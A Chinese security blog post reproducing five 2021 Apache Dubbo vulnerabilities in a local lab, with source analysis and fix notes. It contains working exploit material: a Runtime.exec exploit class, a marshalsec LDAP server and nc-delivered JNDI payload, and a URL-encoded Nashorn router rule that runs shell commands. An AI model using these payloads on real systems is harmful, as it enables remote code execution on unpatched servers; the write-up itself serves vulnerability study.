Apache Dubbo相关漏洞复现

admin 2021年10月27日21:54:49评论255 views字数 10351阅读34分30秒阅读模式
Apache Dubbo相关漏洞复现

前言

Apache Dubbo相关漏洞复现


Apache Dubbo相关漏洞复现

CVE-2021-25641: Apache Dubbo Hessian2 协议反序列化漏洞

攻击者可利用其他协议绕过Hessian2黑名单造成反序列化。


CVE-2021-30179:Apache Dubbo Generic filter 远程代码执行漏洞

Apache Dubbo Generic filter存在过滤不严,攻击者可构造恶意请求调用恶意方法从而造成远程代码执行。


CVE-2021-32824:Apache Dubbo Telnet handler 远程代码执行漏洞

Apache Dubbo Telnet handler在处理相关请求时,允许攻击者调用恶意方法从而造成远程代码执行。


CVE-2021-30180:Apache Dubbo YAML 反序列化漏洞

Apache Dubbo多处使用了yaml.load,从而造成了Yaml反序列化漏洞。


CVE-2021-30181:Apache Dubbo Nashorn 脚本远程代码执行漏洞

攻击者可构造恶意请求注入Nashorn脚本,造成远程代码执行。

Apache Dubbo相关漏洞复现


Apache Dubbo相关漏洞复现

影响版本

Apache Dubbo相关漏洞复现



Apache Dubbo相关漏洞复现

Apache Dubbo < 2.7.10

Apache Dubbo < 2.6.10

Apache Dubbo相关漏洞复现
Apache Dubbo相关漏洞复现

组件介绍

Apache Dubbo相关漏洞复现



Apache Dubbo相关漏洞复现

Apache Dubbo是一款高性能、轻量级的开源java RPC分布式服务框架。核心功能有面向接口的远程过程调用、集群容错和负载均衡、服务自动注册与发现。其特点主要在以下几个方面。使用分层的架构模式,使得各个层次之间实现最大限度的解耦。将服务抽象为服务提供者与服务消费者两个角色。

Apache Dubbo相关漏洞复现



Apache Dubbo相关漏洞复现

漏洞分析

Apache Dubbo相关漏洞复现


Apache Dubbo相关漏洞复现


1. Apache Dubbo协议绕过漏洞(CVE-2021-25641)

Apache Dubbo相关漏洞复现


Apache Dubbo相关漏洞复现


攻击者可利用其他协议绕过Hessian2黑名单造成反序列化。

poc:https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept

exp:https://github.com/threedr3am/dubbo-exp


#漏洞复现


(1)Zookeeper 安装
wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gztar zxvf zookeeper-3.3.3.tar.gzcd zookeeper-3.3.3cp conf/zoo_sample.cfg conf/zoo.cfg

配置:

vi conf/zoo.cfg
# The number of milliseconds of each ticktickTime=2000# The number of ticks that the initial# synchronization phase can takeinitLimit=10# The number of ticks that can pass between# sending a request and getting an acknowledgementsyncLimit=5# the directory where the snapshot is stored.dataDir=/private/var/tmp/zookeeper-3.3.3/data# the port at which the clients will connectclientPort=2181

在 data 目录下放置 myid 文件:

mkdir datavi myid


(2)启动zookeeper:
cd /private/var/tmp/zookeeper-3.3.3/bin./zkServer.sh start


(3)安装sample示例:
git clone https://github.com/apache/dubbo-samples.git  cd dubbo-samples/dubbo-samples-api

(4)修改示例的pom.xml

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId> <artifactId>dubbomytest</artifactId> <packaging>pom</packaging> <version>1.0-SNAPSHOT</version> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>8</source> <target>8</target> </configuration> </plugin> </plugins> </build>

<properties> <source.level>1.8</source.level> <target.level>1.8</target.level> <dubbo.version>2.7.6</dubbo.version> <junit.version>4.12</junit.version> <docker-maven-plugin.version>0.30.0</docker-maven-plugin.version> <jib-maven-plugin.version>1.2.0</jib-maven-plugin.version> <maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version> <maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version> <image.name>${project.artifactId}:${dubbo.version}</image.name> <java-image.name>openjdk:8</java-image.name> <dubbo.port>20880</dubbo.port> <zookeeper.port>2181</zookeeper.port> <main-class>org.apache.dubbo.samples.provider.Application</main-class> </properties>
<dependencies> <dependency> <groupId>org.apache.dubbo</groupId> <artifactId>dubbo</artifactId> <version>2.7.3</version> </dependency> <dependency> <groupId>org.apache.dubbo</groupId> <artifactId>dubbo-common</artifactId> <version>2.7.3</version> </dependency>
<dependency> <groupId>org.apache.dubbo</groupId> <artifactId>dubbo-dependencies-zookeeper</artifactId> <version>2.7.6</version> <type>pom</type> </dependency>
<dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>${junit.version}</version> <scope>test</scope> </dependency>
</dependencies>
</project>


(5)编译
mvn clean package

接着,确定下zookeeper已经启动,然后启动应用,终端提示dubbo service started

Apache Dubbo相关漏洞复现



(6)漏洞验证
git clone https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept.git

打开之后,在main函数中,增加mac弹计算器的命令

public static String DUBBO_RCE_COMMAND = "open /System/Applications/Calculator.app"; //Mac

Apache Dubbo相关漏洞复现


直接运行poc,成功弹出计算器,如下图

Apache Dubbo相关漏洞复现



(7)漏洞总结

经测试,dobbo版本需小于2.7.3才会触发漏洞



Apache Dubbo相关漏洞复现

2. Apache Dubbo Generic filter 远程代码执行漏洞(CVE-2021-30179 )

Apache Dubbo相关漏洞复现


CVE-2021-30179 - Dubbo Pre-auth RCE via Java deserialization in the Generic filter

Apache Dubbo Generic filter存在过滤不严,攻击者可构造恶意请求调用恶意方法从而造成远程代码执行。


分析 From threedr3am


在org.apache.dubbo.rpc.filter.GenericFilter中,如果发现被调用service的方法传入的参数中,第一个参数为字节数组byte[]时,会把这个字节数组数据进行反序列化,其中可选的序列化方式有nativejava、bean、protobuf-json等。

Apache Dubbo相关漏洞复现


Apache Dubbo相关漏洞复现


实际在GenericFilter执行之前,也就是RpcInvocation构造的时候

org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)

也已经可以进行反序列化攻击了

Apache Dubbo相关漏洞复现


不过这个地方的反序列化,受限于默认hessian或者已配置的序列化类型,具有一定的局限性。

CVE-2021-30179算是反序列化类型攻击面的扩展了,可以把序列化方式从默认的hessian(spring aop那条链jndi攻击受限jdk版本和外连条件)转移到nativejava序列化类型。




Apache Dubbo相关漏洞复现

3. Apache Dubbo Telnet handler 远程代码执行漏洞(CVE-2021-32824)

Apache Dubbo相关漏洞复现


Apache Dubbo Telnet handler在处理相关请求时,允许攻击者调用恶意方法从而造成远程代码执行。

分析 from https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/

Dubbo的服务端口常常用来访问Telnet处理程序,该处理程序提供一些基本方法来收集有关提供者和服务公开的方法的信息,甚至可以允许关闭服务。

Apache Dubbo相关漏洞复现


此外,还可以使用调用处理程序调用提供程序方法。

List<Object> list;        try {            list = JSON.parseArray("[" + args + "]", Object.class);        } catch (Throwable t) {            return "Invalid json argument, cause: " + t.getMessage();        }

这里使用了FastJson的安全版本,但是生成的列表稍后使用PojoUtils.realize进行处理

if (!StringUtils.isEmpty(service)) {            buf.append("Use default service ").append(service).append(".");        }        if (selectedProvider == null) {            buf.append("rnNo such service ").append(service);            return buf.toString();        }        if (invokeMethod == null) {            buf.append("rnNo such method ").append(method).append(" in service ").append(service);            return buf.toString();        }        try {            Object[] array = realize(list.toArray(), invokeMethod.getParameterTypes(),                    invokeMethod.getGenericParameterTypes());            long start = System.currentTimeMillis();            AppResponse result = new AppResponse();            try {                Object o = invokeMethod.invoke(selectedProvider.getServiceInstance(), array);                result.setValue(o);            } catch (Throwable t) {                result.setException(t);            }            long end = System.currentTimeMillis();            buf.append("rnresult: ");            buf.append(JSON.toJSONString(result.recreate()));            buf.append("rnelapsed: ");            buf.append(end - start);            buf.append(" ms.");        } catch (Throwable t) {            return "Failed to invoke method " + invokeMethod.getName() + ", cause: " + StringUtils.toString(t);        }        return buf.toString();    }

PojoUtils可以用来实例化任意类并调用其setter,攻击者可以利用它来实现远程代码执行.

环境:

cd dubbo-samples/dubbo-samples-basicmvn clean package

启动BasicProvider函数

vim Exploit.java
public class Exploit {    public Exploit(){        try{            Runtime.getRuntime().exec("/bin/bash -c /System/Applications/Calculator.app/Contents/MacOS/Calculator");        }catch(Exception e){            e.printStackTrace();        }    }    public static void main(String[] argv){        Exploit e = new Exploit();    }}
javac Exploit.java
python3 -m http.server 8080
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Exploit"
echo "invoke org.apache.dubbo.samples.basic.api.DemoService.sayHello({'class':'org.apache.xbean.propertyeditor.JndiConverter','asText': 'ldap://127.0.0.1:1389/Exploit'})" | nc -i 1 127.0.0.1 20880


Apache Dubbo相关漏洞复现


没有复现成功,可能是jdk版本不支持调用ldap。


Apache Dubbo相关漏洞复现

4. Apache Dubbo YAML 反序列化漏洞(CVE-2021-30180)

Apache Dubbo相关漏洞复现


CVE-2021-30180 RCE on customers via Condition route poisoning (Unsafe YAML unmarshaling)

Apache Dubbo多处使用了yaml.load,攻击者在控制如ZooKeeper注册中心后可上传恶意配置文件从而造成了Yaml反序列化漏洞。

源码:

https://github.com/apache/dubbo/blob/f4b225eb3a5acdf7c9064763f522ea0b86421c8d/dubbo-cluster/src/main/java/org/apache/dubbo/rpc/cluster/router/tag/model/TagRuleParser.java#L35-L36



public class TagRuleParser {
public static TagRouterRule parse(String rawRule) { Constructor constructor = new Constructor(TagRouterRule.class); TypeDescription tagDescription = new TypeDescription(TagRouterRule.class); tagDescription.addPropertyParameters("tags", Tag.class); constructor.addTypeDescription(tagDescription);
Yaml yaml = new Yaml(constructor); TagRouterRule rule = yaml.load(rawRule); rule.setRawRule(rawRule); if (CollectionUtils.isEmpty(rule.getTags())) { rule.setValid(false); }
rule.init(); return rule; }}


影响版本:

Dubbo 2.7.0 to 2.7.9



Apache Dubbo相关漏洞复现

5. Apache Dubbo Nashorn 脚本远程代码执行漏洞(CVE-2021-30181 )

Apache Dubbo相关漏洞复现


RCE on customers via Script route poisoning (Nashorn script injection)


分析 From threedr3am


攻击者在控制如ZooKeeper注册中心后可构造恶意请求注入Nashorn脚本,造成远程代码执行。

Apache Dubbo相关漏洞复现


当consumer启动时,会根据interface配置(例:com.threedr3am.learn.server.boot.DemoService),启动Zookeeper监听目录节点目录 /dubbo/com.threedr3am.learn.server.boot.DemoService下的三个node目录

  • configurators

  • providers

  • routers

当这些node下的内容变动时,consumer的Zookeeper监听器会watch到,然后通知到org.apache.dubbo.registry.integration.RegistryDirectory#notify方法,更新相关数据。

Apache Dubbo相关漏洞复现


Zookeeper监听器订阅相关代码位于org.apache.dubbo.registry.zookeeper.ZookeeperRegistry#doSubscribe方法。

Apache Dubbo相关漏洞复现


理论上我们只需要在routers这个node下新增配置,插入恶意代码,就能触发其执行恶意代码,先从consumers下获取一个模板配置,

consumer%3A%2F%2F127.0.0.1%2Fcom.threedr3am.learn.server.boot.DemoService%3Fapplication%3Ddubbo-consumer%26category%3Dconsumers%26check%3Dfalse%26dubbo%3D2.0.2%26init%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoService%26metadata-type%3Dremote%26methods%3Dhello%26pid%3D53953%26qos.enable%3Dfalse%26release%3D2.7.7%26revision%3D1.0%26side%3Dconsumer%26sticky%3Dfalse%26timestamp%3D1622381389749%26version%3D1.0

通过对其解码,得到很清晰的内容

consumer://127.0.0.1/com.threedr3am.learn.server.boot.DemoService?application=dubbo-consumer&category=consumers&check=false&dubbo=2.0.2&init=false&interface=com.threedr3am.learn.server.boot.DemoService&metadata-type=remote&methods=hello&pid=53953&qos.enable=false&release=2.7.7&revision=1.0&side=consumer&sticky=false&timestamp=1622381389749&version=1.0

把它修改为

script://127.0.0.1/com.threedr3am.learn.server.boot.DemoService?application=dubbo-consumer&category=routers&check=false&dubbo=2.0.2&init=false&interface=com.threedr3am.learn.server.boot.DemoService&metadata-type=remote&methods=hello&pid=53953&qos.enable=false&release=2.7.7&revision=1.0&side=consumer&sticky=false&timestamp=1622381389749&version=1.0&route=script&type=javascript&rule=s%3D%5B3%5D%3Bs%5B0%5D%3D'%2Fbin%2Fbash'%3Bs%5B1%5D%3D'-c'%3Bs%5B2%5D%3D'open%20-a%20calculator'%3Bjava.lang.Runtime.getRuntime().exec(s)%3B

注意事项:

  • rule参数下的js代码需要先编码一下再放进去,未编码数据为:

s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='open -a calculator';java.lang.Runtime.getRuntime().exec(s);
  • category参数需要改为routers

  • protocol需要改为script

最后编码得到

script%3A%2F%2F127.0.0.1%2Fcom.threedr3am.learn.server.boot.DemoService%3Fapplication%3Ddubbo-consumer%26category%3Drouters%26check%3Dfalse%26dubbo%3D2.0.2%26init%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoService%26metadata-type%3Dremote%26methods%3Dhello%26pid%3D53953%26qos.enable%3Dfalse%26release%3D2.7.7%26revision%3D1.0%26side%3Dconsumer%26sticky%3Dfalse%26timestamp%3D1622381389749%26version%3D1.0%26route%3Dscript%26type%3Djavascript%26rule%3Ds%253D%255B3%255D%253Bs%255B0%255D%253D'%252Fbin%252Fbash'%253Bs%255B1%255D%253D'-c'%253Bs%255B2%255D%253D'open%2520-a%2520calculator'%253Bjava.lang.Runtime.getRuntime().exec(s)%253B

接下来,把这个配置新增到Zookeeper的/dubbo/com.threedr3am.learn.server.boot.DemoService/routers,就能触发代码执行了。

Apache Dubbo相关漏洞复现


脚本需要通过本地配置或者配置中心(dubbo的管理员权限)才能篡改,利用条件有点难。

diff:

Apache Dubbo相关漏洞复现


修复:在nashorn引擎解析并执行的地方做了权限限制。



本文始发于微信公众号(白帽子飙车路):Apache Dubbo相关漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月27日21:54:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Dubbo相关漏洞复现http://cn-sec.com/archives/406069.html

发表评论

匿名网友 填写信息